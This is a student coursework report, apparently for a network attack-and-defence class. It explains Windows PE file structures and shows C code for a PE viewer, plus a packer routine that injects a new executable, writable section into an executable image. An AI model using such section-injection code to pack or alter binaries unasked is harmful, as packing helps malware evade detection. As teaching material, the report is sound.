20174310隋润起网络对抗免考报告
——PE结构及加壳的一种实现方式
一、PE解析(对一些重要的位置进行解释)
0x00 WORD e_magic; //**必须是MZ(人名缩写)开始的地方,判断是不是PE文件
0x02 WORD e_cblp;
0x04 WORD e_cp;
0x06 WORD e_crlc;
0x08 WORD e_cparhdr;
0x0a WORD e_minalloc;
0x0c WORD e_maxalloc;
0x0e WORD e_ss;
0x10 WORD e_sp;
0x12 WORD e_csum;
0x14 WORD e_ip;
0x16 WORD e_cs;
0x18 WORD e_lfarlc;
0x1a WORD e_ovno;
0x1c WORD e_res[4];
0x24 WORD e_oemid;
0x26 WORD e_oeminfo;
0x28 WORD e_res2[10];
0x3c DWORD e_lfanew **指向真正PE文件开始的地方,从开始的地方的偏移量
0x00 DWORD Signature; 此处数据转换成英文是PE
0x04 _IMAGE_FILE_HEADER FileHeader;跳到标准pe头
0x18 _IMAGE_OPTIONAL_HEADER OptionalHeader;
0x00 WORD Machine;* 能在什么样的CPU上运行 0是任何CPU 14C是能在386以及后续处理器上运行
0x02 WORD NumberOfSections;* 一共有多少个节,分了多少节(除了头以外)
0x04 DWORD TimeDateStamp;*时间戳 检查map文件与exe的时间戳是否一样,不一样会出问题(map存储函数说明、地址)
0x08 DWORD PointerToSymbolTable;
0x0c DWORD NumberOfSymbols;
0x10 WORD SizeOfOptionalHeader;*可选PE头的大小(标准pe头和doc头是固定的)
0x12 WORD Characteristics; 每个位有不同的含义
24字节
0x00 WORD Magic;* 32位pe文件是10B 64位pe文件是20B
0x02 BYTE MajorLinkerVersion;
0x03 BYTE MinorLinkerVersion;
0x04 DWORD SizeOfCode;* 代码节所有字节的和,每一节必须是FileAlignment的整数倍,编译器进行填充(没用,更改了仍能正常运行)发展到现在没用了
0x08 DWORD SizeOfInitializedData;* 已初始化数据的大小,性质和上面相同(设立初值)
0x0c DWORD SizeOfUninitializedData;* 未初始化数据的大小,性质和上面相同(没有设立初值)
0x10 DWORD AddressOfEntryPoint;* 程序入口,在文件中,在内存中要加上imagebase:为了空出保护区和模块对齐
0x14 DWORD BaseOfCode;* 代码基址,编译器填充,没用 正常情况下程序入口在代码中,但可以更改
0x18 DWORD BaseOfData;* 数据基址,编译器填充,没用(改了不会影响运行)
0x1c DWORD ImageBase;* 最重要,在内存中运行的实际基址 一个exe是由一堆pe文件组成(会用到多个dll)
0x20 DWORD SectionAlignment;* 中间0的大小在内存中
0x24 DWORD FileAlignment;* 中间0的大小在文件中(未运行)根据编译器版本两者可能相同可能不同
0x28 WORD MajorOperatingSystemVersion;
0x2a WORD MinorOperatingSystemVersion;
0x2c WORD MajorImageVersion;
0x2e WORD MinorImageVersion;
0x30 WORD MajorSubsystemVersion;
0x32 WORD MinorSubsystemVersion;
0x34 DWORD Win32VersionValue;
0x38 DWORD SizeOfImage;* 在内存中拉伸后的大小,可以比实际大,但必须是SectionAlignment的整数倍,对齐便于遍历
0x3c DWORD SizeOfHeaders;头+节表在文件中对齐后的大小,必须是FileAlignment的整数倍,对齐
0x40 DWORD CheckSum;* 校验和WORD,两两相加后存入,自然溢出,验证是否出错
0x44 WORD Subsystem;
0x46 WORD DllCharacteristics;
0x48 DWORD SizeOfStackReserve;* 初始化时保留栈的大小(最大值)
0x4c DWORD SizeOfStackCommit;*实际提交的大小
0x50 DWORD SizeOfHeapReserve;* 初始化时保留堆的大小
0x54 DWORD SizeOfHeapCommit;* 实际提交的大小
0x58 DWORD LoaderFlags;
0x5c DWORD NumberOfRvaAndSizes;* 目录项数目(后面还有多少目录项)记录编译器向EXE加的数据的信息
实现的PE工具中列出的DOS头、PE头、可选PE头中的重要的信息
0x00 BYTE Name[IMAGE_SIZEOF_SHORT_NAME];//可能不存在‘/0’所以要用char[9]取出,可以更改,起个名字
union {
0x08 DWORD PhysicalAddress;
0x08 DWORD VirtualSize;//节表指向该节字节对齐之前,内存中数据的大小,可以不准确,不影响程序的运行
} Misc;
0x0c DWORD VirtualAddress;//指向的节区在内存中的偏移地址,加上imagebase
0x10 DWORD SizeOfRawData;//指向的节在文件对其之后的尺寸
0x14 DWORD PointerToRawData;//指向的节区在文件中的偏移,从零开始
0x18 DWORD PointerToRelocations;//无意义
0x1c DWORD PointerToLinenumbers;//无意义
0x20 WORD NumberOfRelocations;//无意义
0x22 WORD NumberOfLinenumbers;//无意义
0x24 DWORD Characteristics;//当前节的属性
属性对照表:(用了其中的一些位,并非全部,表示一些属性)
00000020h:包含可执行代码
00000040h:包含初始化的数据
00000080h:包含未初始化的数据
10000000h:该节为共享节
20000000h:可执行节
40000000h:可读节
80000000h:可写节
实现的PE工具中列出每一个节表重要的信息
1、根据SizeOfImage的大小,开辟一块缓冲区(ImageBuffer).
2、根据SizeOfHeader的大小,将头信息从FileBuffer拷贝到ImageBuffer
3、根据节表中的信息循环讲FileBuffer中的节拷贝到ImageBuffer中.
示意图:(在附件PE加载示意图中可见)
如何新建一个节(加壳所需):
1、SizeOfHeader - (DOS + 垃圾数据 + PE标记 + 标准PE头 + 可选PE头 + 已存在节表)>= 2个节表的大小
2、需要修改的数据
1) 添加一个新的节(可以copy一份)
2) 在新增节后面 填充一个节大小的一串0(PE结构判断节表信息结束是判断当最后有一个节表长度大小的0表示节表信息到此结束)
3) 修改PE头中节的数量NumberOfSections
4) 修改sizeOfImage的大小
5) 再原有数据的最后,新增一个节的数据(内存对齐的整数倍).
6)修正新增节表的属性
函数代码(加壳程序中的添加新节函数):
char* add_section_2(char* start_image){ char* start_new_image; if(headers_file.SizeOfHeaders-headers_file.e_lfanew-headers_file.SizeOfOptionalHeader-24-headers_file.NumberOfSections*40<80){ //printf("space is not statific"); } else{ //printf("space is statific"); start_new_image = (char*)malloc(headers_file.SizeOfImage+(flen/0x1000+1)*0x1000); memset(start_new_image,0,headers_file.SizeOfImage+(flen/0x1000+1)*0x1000); memcpy(start_new_image,start_image,headers_file.SizeOfImage); *(short*)(start_new_image+headers_file.e_lfanew+6) = headers_file.NumberOfSections+1; *(int*)(start_new_image+headers_file.e_lfanew+80) = headers_file.SizeOfImage+(flen/0x1000+1)*0x1000; memcpy(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40,start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24,40); *(char*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40) = ‘a‘; *(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+0x24) = 0xe0000020; *(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+8) = (flen/0x1000+1)*0x1000; printf("%x",(flen/0x1000+1)*0x1000); int a; if((sections.VirtualAddress+sections.VirtualSize)%0x1000==0){ a = sections.VirtualAddress+sections.VirtualSize; } else{ a = ((sections.VirtualAddress+sections.VirtualSize)/0x1000+1)*0x1000; } //sections.VirtualSize = headers_file.SectionAlignment; if(sections.VirtualSize>sections.SizeOfRawData){ *(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+12) = a; } else{ *(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+12) = a; } //printf("%x\n",a); //sections.VirtualAddress = sections.VirtualAddress+sections.VirtualSize; *(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+16) = (flen/0x1000+1)*0x1000; //sections.SizeOfRawData = headers_file.FileAlignment; *(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+20) = sections.PointerToRawData+sections.SizeOfRawData; if(sections.VirtualSize>sections.SizeOfRawData){ sections.VirtualAddress = a;} else{ sections.VirtualAddress = a; } sections.PointerToRawData = sections.PointerToRawData+sections.SizeOfRawData; sections.VirtualSize = (flen/0x1000+1)*0x1000; sections.SizeOfRawData = (flen/0x1000+1)*0x1000; } addcode(start_new_image); return start_new_image; }
1、我们所了解的PE分为头和节,在每个节中,都包含了我们写的一些代码和数据,但还有一些非常重要
的信息是编译器替我们加到PE文件中的,这些信息可能存在在任何可以利用的地方。
2、这些信息之所以重要,是因为这些信息包含了诸如:
PE程序的图标在哪里?
用到了哪些系统提供的函数?
为其他的程序提供哪些函数?
3、编译器添加了这么多信息,那程序是如何找到这些信息的呢?
答案就是:数据目录
4、数据目录定位:
可选PE头最后一个成员,就是数据目录.一共有16个:
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress; //内存偏移
DWORD Size; //大小
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16
分别是:导出表、导入表、资源表、异常信息表、安全证书表、重定位表、调试信息表、版权所以表、全局指针表
TLS表、加载配置表、绑定导入表、IAT表、延迟导入表、COM信息表 最后一个保留未使用。
和程序运行时息息相关的表有:
1.数据目录项的第一个结构,就是导出表,其中的内存偏移 VirtualAddress指向导出表真正的位置
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
VirtualAddress 导出表的RVA
Size 导出表大小
2.导出表结构:
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics; // 未使用
DWORD TimeDateStamp; // 时间戳
WORD MajorVersion; // 未使用
WORD MinorVersion; // 未使用
DWORD Name; // 指向该导出表文件名字符串
DWORD Base; // 导出函数起始序号
DWORD NumberOfFunctions; // 所有导出函数的个数
DWORD NumberOfNames; // 以函数名字导出的函数个数
DWORD AddressOfFunctions; // 导出函数地址表RVA
DWORD AddressOfNames; // 导出函数名称表RVA
DWORD AddressOfNameOrdinals; // 导出函数序号表RVA
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
三个重要的结构:AddressOfFunctions、AddressOfNames、AddressOfNameOrdinals
3、AddressOfFunctions说明:
该表中元素宽度为4个字节
该表中存储所有导出函数的地址
该表中个数由NumberOfFunctions决定
该表项中的值是RVA, 加上ImageBase才是函数真正的地址
4、AddressOfNames说明:
该表中元素宽度为4个字节
该表中存储所有以名字导出函数的名字的RVA
该表项中的值是RVA, 指向函数真正的名称
5、AddressOfNameOrdinals
该表中元素宽度为2个字节
该表中存储的内容 + Base = 函数的导出序号
1.导入表结构:
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics;
DWORD OriginalFirstThunk; //RVA 指向IMAGE_THUNK_DATA结构数组
};
DWORD TimeDateStamp; //时间戳
DWORD ForwarderChain;
DWORD Name; //RVA,指向dll名字,该名字已0结尾
DWORD FirstThunk; //RVA,指向IMAGE_THUNK_DATA结构数组
} IMAGE_IMPORT_DESCRIPTOR;
typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;
2.示意图:
1.重定位表的定位:
数据目录项的第6个结构,就是重定位表.
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
2.重定位表的结构:
typedef struct _IMAGE_BASE_RELOCATION {
DWORD VirtualAddress;
DWORD SizeOfBlock;
} IMAGE_BASE_RELOCATION;
typedef IMAGE_BASE_RELOCATION ,* PIMAGE_BASE_RELOCATION;
3.解析说明:
1、通过IMAGE_DATA_DIRECTORY结构的VirtualAddress
属性 找到第一个IMAGE_BASE_RELOCATION
2、判断一共有几块数据:
最后一个结构的VirtualAddress与SizeOfBlock都为0
3、具体项 宽度:2字节
位于SizeOfBlock之后的数据
内存中的页大小是1000H 也就是说2的12次方 就可以表示
一个页内所有的偏移地址 具体项的宽度是16字节 高四位
代表类型:值为3 代表的是需要修改的数据 值为0代表的是
用于数据对齐的数据,可以不用修改.也就是说 我们只关注
高4位的值为3的就可以了.
4、VirtualAddress 宽度:4字节
当前这一个块的数据,每一个低12位的值+VirtualAddress 才是
真正需要修复的数据的RVA
真正的RVA = VirtualAddress + 具体项的低12位
5、SizeOfBlock 宽度:4字节
当前块的总大小
具体项的数量 = (SizeOfBlock - 8)/2
二、运用C语言、win32函数及上述知识写一个PE解析的图形界面
vc中的主界面
实际运行的主界面
vc中的PE查看器界面
选择程序进行PE查看(exe)
实际运行的PE查看界面(这里选择的exe是程序本身)
vc中的节表界面
实际运行的节表界面
vc中的目录界面
实际运行的目录界面
还有各种具体的目录信息界面,这里不做赘述。
源代码:(编写匆忙,备注信息可能不太准确)
// PE工具.cpp : Defines the entry point for the application. // #include "stdafx.h" #include "resource.h" #include <stdlib.h> #include <commctrl.h> #include <stdio.h> #include <tlhelp32.h> #include <commdlg.h> #pragma commment(lib,"comctl32.lib") HINSTANCE hInstanceicon; OPENFILENAME stOpenFile; int flen = 0; char* p1; char* p2; int len1,len2; HWND hwndDlg1; typedef struct PE{ int e_lfanew; short NumberOfSections; short SizeOfOptionalHeader; int EntryPoint; int ImageBase ; int SectionAlignment ; int SizeOfImage; int FileAlignment; int SizeOfHeaders; int BaseOfCode; int BaseOfData; int CheckSum; short Characteristics; int TimeDateStamp; int NumberOfRvaAndSizes; }headers; typedef struct standard{ int address; int size; }dir; typedef struct dir_all{ dir d1; dir d2; dir d3; dir d4; dir d5; dir d6; dir d7; dir d8; dir d9; dir d10; dir d11; dir d12; dir d13; dir d14; dir d15; dir d16; }dir_num; typedef struct sec{ int PointerToRawData; int SizeOfRawData; int VirtualAddress; int VirtualSize; int Characteristics; }section; typedef struct export{ int Time; TCHAR* Name; int Base; int NumberOfFunctions; int NumberOfNames; int AddressOfFunctions; int AddressOfNames; int AddressOfNameOrdinals; char* Name_fun; short ordinal; int RVA; }ex; ex export; headers headers_file; section sections; dir_num DN; char* get_file(){ FILE* fp; char* p; fp = fopen(stOpenFile.lpstrFile,"rb"); if(fp == NULL){ printf("file error"); } fseek(fp,0L,SEEK_END); flen = ftell(fp); fseek(fp,0L,SEEK_SET); p = (char*)malloc(flen); fread(p,flen,1,fp); fclose(fp); return p; } char get_char_data(char* start,int distance){ char data = *(start+distance); return data; } short get_short_data(char* start,int distance){ short data =*(short*) (start+distance); return data; } int get_int_data(char* start,int distance){ int data =*(int*) (start+distance); return data; } void getInfo(){ char* start = get_file(); char* s = start; headers_file.e_lfanew = get_int_data(start,60); start = start+headers_file.e_lfanew; headers_file.NumberOfSections = get_short_data(start,6); headers_file.TimeDateStamp = get_int_data(start,8); headers_file.SizeOfOptionalHeader = get_short_data(start,20); headers_file.Characteristics = get_short_data(start,22); start = start+24; headers_file.EntryPoint = get_int_data(start,16); headers_file.BaseOfCode = get_int_data(start,20); headers_file.BaseOfData = get_int_data(start,24); headers_file.ImageBase = get_int_data(start,28); headers_file.SectionAlignment = get_int_data(start,32); headers_file.SizeOfImage = get_int_data(start,56); headers_file.FileAlignment = get_int_data(start,36); headers_file.SizeOfHeaders = get_int_data(start,60); headers_file.CheckSum = get_int_data(start,64); headers_file.NumberOfRvaAndSizes = get_int_data(start,92); free(s); } void getInfo_dir(){ char* start = get_file(); char* s = start; DN.d1.address = get_int_data(start,headers_file.e_lfanew+120); DN.d1.size = get_int_data(start,headers_file.e_lfanew+120+4); DN.d2.address = get_int_data(start,headers_file.e_lfanew+120+8); DN.d2.size = get_int_data(start,headers_file.e_lfanew+120+4+8); DN.d3.address = get_int_data(start,headers_file.e_lfanew+120+8*2); DN.d3.size = get_int_data(start,headers_file.e_lfanew+120+4+8*2); DN.d4.address = get_int_data(start,headers_file.e_lfanew+120+8*3); DN.d4.size = get_int_data(start,headers_file.e_lfanew+120+4+8*3); DN.d5.address = get_int_data(start,headers_file.e_lfanew+120+8*4); DN.d5.size = get_int_data(start,headers_file.e_lfanew+120+4+8*4); DN.d6.address = get_int_data(start,headers_file.e_lfanew+120+8*5); DN.d6.size = get_int_data(start,headers_file.e_lfanew+120+4+8*5); DN.d7.address = get_int_data(start,headers_file.e_lfanew+120+8*6); DN.d7.size = get_int_data(start,headers_file.e_lfanew+120+4+8*6); DN.d8.address = get_int_data(start,headers_file.e_lfanew+120+8*7); DN.d8.size = get_int_data(start,headers_file.e_lfanew+120+4+8*7); DN.d9.address = get_int_data(start,headers_file.e_lfanew+120+8*8); DN.d9.size = get_int_data(start,headers_file.e_lfanew+120+4+8*8); DN.d10.address = get_int_data(start,headers_file.e_lfanew+120+8*9); DN.d10.size = get_int_data(start,headers_file.e_lfanew+120+4+8*9); DN.d11.address = get_int_data(start,headers_file.e_lfanew+120+8*10); DN.d11.size = get_int_data(start,headers_file.e_lfanew+120+4+8*10); DN.d12.address = get_int_data(start,headers_file.e_lfanew+120+8*11); DN.d12.size = get_int_data(start,headers_file.e_lfanew+120+4+8*11); DN.d13.address = get_int_data(start,headers_file.e_lfanew+120+8*12); DN.d13.size = get_int_data(start,headers_file.e_lfanew+120+4+8*12); DN.d14.address = get_int_data(start,headers_file.e_lfanew+120+8*13); DN.d14.size = get_int_data(start,headers_file.e_lfanew+120+4+8*13); DN.d15.address = get_int_data(start,headers_file.e_lfanew+120+8*14); DN.d15.size = get_int_data(start,headers_file.e_lfanew+120+4+8*14); DN.d16.address = get_int_data(start,headers_file.e_lfanew+120+8*15); DN.d16.size = get_int_data(start,headers_file.e_lfanew+120+4+8*15); free(s); } int Rva_to_Foa(int virtualAddress,char* start){ if(virtualAddress<headers_file.SizeOfHeaders){ return virtualAddress; } int fileAddress; int i; char* start_section = start+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader; for(i=0;i<headers_file.NumberOfSections;i++){ sections.PointerToRawData = get_int_data(start_section,20); sections.SizeOfRawData = get_int_data(start_section,16); sections.VirtualAddress = get_int_data(start_section,12); sections.VirtualSize = get_int_data(start_section,8); int max; max = sections.VirtualSize>sections.SizeOfRawData?sections.VirtualSize:sections.SizeOfRawData; if(virtualAddress<sections.VirtualAddress+max){ //printf("%d",i); fileAddress = virtualAddress-sections.VirtualAddress+sections.PointerToRawData; /*printf("%x\n",sections.VirtualAddress); printf("%x\n",sections.PointerToRawData); printf("%x",fileAddress);*/ break; } start_section = start_section+40; } return fileAddress; } void get_export_Info(){ char* start = get_file(); int virtualAddress = get_int_data(start,headers_file.e_lfanew+120); int fileAddress = Rva_to_Foa(virtualAddress,start); char* export_start; //printf("%x",fileAddress); export_start = start+fileAddress; int Name_Address = get_int_data(export_start,12); export.Name = start+Name_Address; export.Base = get_int_data(export_start,16); export.Time = get_int_data(export_start,4); export.NumberOfFunctions = get_int_data(export_start,20); export.NumberOfNames = get_int_data(export_start,24); export.AddressOfFunctions = get_int_data(export_start,28); export.AddressOfNames = get_int_data(export_start,32); export.AddressOfNameOrdinals = get_int_data(export_start,36); } VOID EnumModules(HWND hListProcess,WPARAM wParam,LPARAM lParam,HWND hListProcess_down) { DWORD dwRowId; TCHAR szPid[0x20]; LV_ITEM vitem; memset(szPid,0,0x20); memset(&vitem,0,sizeof(LV_ITEM)); dwRowId = SendMessage(hListProcess,LVM_GETNEXTITEM,-1,LVNI_SELECTED); if(dwRowId == -1) { MessageBox(NULL,TEXT("请选择进程"),TEXT("出错拉"),MB_OK); } vitem.iSubItem = 1; vitem.pszText = szPid; vitem.cchTextMax = 0x20; SendMessage(hListProcess,LVM_GETITEMTEXT,dwRowId,(DWORD)&vitem); HANDLE hShot=CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,atoi(szPid)); MODULEENTRY32 te={sizeof(te)}; BOOL bRet=Module32First(hShot,&te); int i=0; if(bRet) { while(bRet) { vitem.pszText = te.szModule; vitem.iItem = i; vitem.iSubItem = 0; SendMessage(hListProcess_down, LVM_INSERTITEM,0,(DWORD)&vitem); vitem.pszText = te.szExePath; vitem.iItem = i; vitem.iSubItem = 1; ListView_SetItem(hListProcess_down, &vitem); bRet=Module32Next(hShot,&te); i++; } CloseHandle(hShot); } else{ MessageBox(0,"不存在模块",0,MB_OK); while(i<200){ vitem.pszText = ""; vitem.iItem = i; vitem.iSubItem = 0; SendMessage(hListProcess_down, LVM_INSERTITEM,0,(DWORD)&vitem); i++; } } } VOID EnumModules_import(HWND hListProcess,WPARAM wParam,LPARAM lParam,HWND hListProcess_down) { DWORD dwRowId; TCHAR szPid[0x20]; LV_ITEM vitem; memset(szPid,0,0x20); memset(&vitem,0,sizeof(LV_ITEM)); int j=0; while(j<200){ vitem.pszText = ""; vitem.iItem = j; vitem.iSubItem = 0; SendMessage(hListProcess_down, LVM_INSERTITEM,0,(DWORD)&vitem); j++; } dwRowId = SendMessage(hListProcess,LVM_GETNEXTITEM,-1,LVNI_SELECTED); if(dwRowId == -1) { MessageBox(NULL,TEXT("请选择进程"),TEXT("出错拉"),MB_OK); } vitem.iSubItem = 1; vitem.pszText = szPid; vitem.cchTextMax = 0x20; SendMessage(hListProcess,LVM_GETITEMTEXT,dwRowId,(DWORD)&vitem); char* start = get_file(); DWORD temp; sscanf(szPid,"%x", &temp); int file_first_thunk = Rva_to_Foa(temp,start); char* INT = start+file_first_thunk; int i = 0; TCHAR info[0x20]; while(1){ int num = get_int_data(INT,0); if(num==0){break;} num = num&0x7fffffff; num = Rva_to_Foa(num,start); short hint=get_short_data(start+num,0); vitem.pszText = start+num+2; vitem.iItem = i; vitem.iSubItem = 0; SendMessage(hListProcess_down, LVM_INSERTITEM,0,(DWORD)&vitem); sprintf(info,"%04x",hint); vitem.pszText = info; vitem.iItem = i; vitem.iSubItem = 3; ListView_SetItem(hListProcess_down, &vitem); sprintf(info,"%08x",temp); vitem.pszText = info; vitem.iItem = i; vitem.iSubItem = 1; ListView_SetItem(hListProcess_down, &vitem); sprintf(info,"%08x",file_first_thunk); vitem.pszText = info; vitem.iItem = i; vitem.iSubItem = 2; ListView_SetItem(hListProcess_down, &vitem); temp = temp+4; file_first_thunk = file_first_thunk+4; INT = INT+4; i++; } free(start); } VOID EnumModules_re(HWND hListProcess,WPARAM wParam,LPARAM lParam,HWND hListProcess_down) { DWORD dwRowId; TCHAR szPid[0x20]; LV_ITEM vitem; memset(szPid,0,0x20); memset(&vitem,0,sizeof(LV_ITEM)); int j=0; while(j<500){ vitem.pszText = ""; vitem.iItem = j; vitem.iSubItem = 0; SendMessage(hListProcess_down, LVM_INSERTITEM,0,(DWORD)&vitem); j++; } dwRowId = SendMessage(hListProcess,LVM_GETNEXTITEM,-1,LVNI_SELECTED); if(dwRowId == -1) { MessageBox(NULL,TEXT("请选择进程"),TEXT("出错拉"),MB_OK); } vitem.iSubItem = 0; vitem.pszText = szPid; vitem.cchTextMax = 0x20; SendMessage(hListProcess,LVM_GETITEMTEXT,dwRowId,(DWORD)&vitem); TCHAR info[0x20]; char* start = get_file(); int time; sscanf(szPid,"%d",&time); int virtualAddress = get_int_data(start,headers_file.e_lfanew+120+8*5); int fileAddress = Rva_to_Foa(virtualAddress,start); char* relocation_start; relocation_start = start+fileAddress; int i,m=0,RVA,Size_of_Block; short data,offset,type; while(1){ RVA = get_int_data(relocation_start,0); Size_of_Block = get_int_data(relocation_start,4); int num = (Size_of_Block-8)/2; if(m == time-1){ for(i=0;i<num;i++){ data = get_short_data(relocation_start,8+2*i); offset = data&0x0fff; type = (data>>12)&0xf; int RVA_output = RVA+offset; int FOA = Rva_to_Foa(RVA_output,start); sprintf(info,"%d",i+1); vitem.pszText = info; vitem.iItem = i; vitem.iSubItem = 0; SendMessage(hListProcess_down, LVM_INSERTITEM,0,(DWORD)&vitem); sprintf(info,"%08x",RVA_output); vitem.pszText = info; vitem.iItem = i; vitem.iSubItem = 1; ListView_SetItem(hListProcess_down, &vitem); sprintf(info,"%08x",FOA); vitem.pszText = info; vitem.iItem = i; vitem.iSubItem = 2; ListView_SetItem(hListProcess_down, &vitem); sprintf(info,"%d",type); vitem.pszText = info; vitem.iItem = i; vitem.iSubItem = 3; ListView_SetItem(hListProcess_down, &vitem); } break; } m++; relocation_start = relocation_start + Size_of_Block; } free(start); } VOID EnumProcess(HWND hListProcess) { LV_ITEM vitem; //初始化 memset(&vitem,0,sizeof(LV_ITEM)); vitem.mask = LVIF_TEXT; PROCESSENTRY32 pe32; pe32.dwSize = sizeof(pe32); //获得系统进程快照的句柄 HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcessSnap == INVALID_HANDLE_VALUE) { MessageBox(0,0,0,0); return; } //首先获得第一个进程 BOOL bProcess = Process32First(hProcessSnap, &pe32); int i = 0; //循环获得所有进程 while (bProcess) { vitem.pszText = pe32.szExeFile; vitem.iItem = i; vitem.iSubItem = 0; SendMessage(hListProcess, LVM_INSERTITEM,0,(DWORD)&vitem); char temp[20]; itoa(pe32.th32ProcessID,temp,10); vitem.pszText = temp; vitem.iItem = i;//第一行 vitem.iSubItem = 1; //第二列 ListView_SetItem(hListProcess, &vitem); HANDLE hShot=CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,pe32.th32ProcessID); int err=GetLastError(); MODULEENTRY32 te={sizeof(te)}; BOOL bRet=Module32First(hShot,&te); int pProcessImageBase = (DWORD)te.modBaseAddr; TCHAR szImageBase[0x20]; //进程基址 memset(szImageBase, 0, 0x20); TCHAR szImageSize[0x20]; //进程大小 memset(szImageSize, 0, 0x20); if(bRet){ sprintf(szImageBase,"%08x",pProcessImageBase); vitem.pszText = szImageBase; vitem.iItem = i; vitem.iSubItem = 2; ListView_SetItem(hListProcess, &vitem); sprintf(szImageBase,"%08x",te.modBaseSize); vitem.pszText = szImageBase; vitem.iItem = i; vitem.iSubItem = 3; ListView_SetItem(hListProcess, &vitem); } CloseHandle(hShot); i++; bProcess = Process32Next(hProcessSnap, &pe32); } CloseHandle(hProcessSnap); /* vitem.pszText = TEXT("000F0000"); vitem.iItem = 0; vitem.iSubItem = 3; ListView_SetItem(hListProcess, &vitem); vitem.pszText = TEXT("winlogon.exe"); vitem.iItem = 1; vitem.iSubItem = 0; //ListView_InsertItem(hListProcess, &vitem); SendMessage(hListProcess, LVM_INSERTITEM,0,(DWORD)&vitem); vitem.pszText = TEXT("456"); vitem.iSubItem = 1; ListView_SetItem(hListProcess, &vitem); vitem.pszText = TEXT("10000000"); vitem.iSubItem = 2; ListView_SetItem(hListProcess, &vitem); vitem.pszText = TEXT("000045800"); vitem.iSubItem = 3; ListView_SetItem(hListProcess, &vitem); */ } VOID InitProcessListView(HWND hDlg) { LV_COLUMN lv; HWND hListProcess; //初始化 memset(&lv,0,sizeof(LV_COLUMN)); //获取IDC_LIST_PROCESS句柄 hListProcess = GetDlgItem(hDlg,IDC_PROCESS1); //设置整行选中 SendMessage(hListProcess,LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_FULLROWSELECT,LVS_EX_FULLROWSELECT); //第一列 lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM; lv.pszText = TEXT("进程"); //列标题 lv.cx = 200; lv.iSubItem = 0; //ListView_InsertColumn(hListProcess, 0, &lv); SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv); //第二列 lv.pszText = TEXT("PID"); lv.cx = 100; lv.iSubItem = 1; //ListView_InsertColumn(hListProcess, 1, &lv); SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv); //第三列 lv.pszText = TEXT("镜像基址"); lv.cx = 100; lv.iSubItem = 2; ListView_InsertColumn(hListProcess, 2, &lv); //第四列 lv.pszText = TEXT("镜像大小"); lv.cx = 100; lv.iSubItem = 3; ListView_InsertColumn(hListProcess, 3, &lv); EnumProcess(hListProcess); } VOID InitProcessListView_down(HWND hDlg) { LV_COLUMN lv; HWND hListProcess; //初始化 memset(&lv,0,sizeof(LV_COLUMN)); //获取IDC_LIST_PROCESS句柄 hListProcess = GetDlgItem(hDlg,IDC_PROCESS2); //设置整行选中 SendMessage(hListProcess,LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_FULLROWSELECT,LVS_EX_FULLROWSELECT); //第一列 lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM; lv.pszText = TEXT("模块名称"); //列标题 lv.cx = 260; lv.iSubItem = 0; //ListView_InsertColumn(hListProcess, 0, &lv); SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv); //第二列 lv.pszText = TEXT("模块位置"); lv.cx = 400; lv.iSubItem = 1; //ListView_InsertColumn(hListProcess, 1, &lv); SendMessage(hListProcess,LVM_INSERTCOLUMN,1,(DWORD)&lv); } BOOL CALLBACK SECTION_DEAL( HWND hwndDlg, // handle to dialog box UINT uMsg, // message WPARAM wParam, // first message parameter LPARAM lParam // second message parameter ) { switch(uMsg) { case WM_CLOSE: { EndDialog(hwndDlg,0); break; } case WM_INITDIALOG: { LV_COLUMN lv; HWND hListProcess; //初始化 memset(&lv,0,sizeof(LV_COLUMN)); //获取IDC_LIST_PROCESS句柄 hListProcess = GetDlgItem(hwndDlg,IDC_LIST12); //设置整行选中 SendMessage(hListProcess,LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_FULLROWSELECT,LVS_EX_FULLROWSELECT); //第一列 lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM; lv.pszText = TEXT("NAME"); //列标题 lv.cx = 60; lv.iSubItem = 0; //ListView_InsertColumn(hListProcess, 0, &lv); SendMessage(hListProcess,LVM_INSERTCOLUMN,0,(DWORD)&lv); lv.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_SUBITEM; lv.pszText = TEXT("Virtual Size"); //列标题 lv.cx = 125; lv.iSubItem = 1; //ListView_InsertColumn(hListProcess, 0, &lv); 